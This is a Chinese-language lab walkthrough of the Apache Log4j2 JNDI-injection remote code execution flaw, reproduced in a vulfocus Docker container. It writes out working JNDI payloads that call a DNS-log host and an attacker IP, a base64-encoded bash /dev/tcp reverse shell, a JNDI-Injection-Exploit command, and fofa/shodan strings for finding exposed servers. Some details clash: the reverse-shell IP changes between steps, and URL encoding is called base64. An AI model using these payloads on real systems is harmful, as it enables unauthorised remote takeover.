Apache Log4j2 RCE远程代码执行漏洞
一、漏洞介绍
2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。
Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
二、漏洞原理
2.1 漏洞影响
影响版本:Apache Log4j2.x <= 2.14.1
已知受影响:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...
2.2 搜索漏洞语法
fofa搜索语法:app="Log4j2"
shodan搜索语法:Server: Log4j2
三、漏洞环境搭建
1. sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest 2. sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest 3. 进入shell命令 sudo docker exec -it 5500411a2fac(容器id)
docker ps
:查看容器
3.1 构造漏洞利用payload
构建POC(注意这里是get请求,不知道为什么别人都是post请求,好像现在做只能用GET方式反弹shell了)
payload:${jndi:ldap://9q165m.dnslog.cn./exp}
该payload需要使用URL编码:%24%7Bjndi%3Aldap%3A%2F%2F9q165m.dnslog.cn.%2Fexp%7D
3.2 验证存在log4j2漏洞
- DNSlog平台生成一个网址。
- 将经过
base64
编码的payload,以GET传参的方式请求。
- DNSlog得到回显,终于得到回显的,嘤嘤嘤!!!
四、反弹shell
- 首先准备反弹shell的命令:
bash -i >& /dev/tcp/127.20.10.4/8888 0>&1
- 进行
base64
编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMjAuMTAuNC84ODg4IDA+JjE=
- 准备工具:
下载地址:Apache-Log4j-Learning/tools at main · bkfish/Apache-Log4j-Learning · GitHub
,使用finalshell
上传到KALI
。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "172.20.10.4"
选择JDK
没有版本限制的payload
(如上图所示),这样选择可能不会受JDK版本的限制。
- 在KALI开启一个监听
- 最后将选择的
payload
以GET
请求发送(GET方式需要进行URL编码)。
payload:${jndi:rmi://172.20.10.4:1099/uakf3b}
URL编码:%24%7Bjndi%3Armi%3A%2F%2F172.20.10.4%3A1099%2Fuakf3b%7D
执行payload后就可以看到已经获取到shell了。
- 嘤嘤嘤!!!!,终于Shell反弹到KALI监听的端口。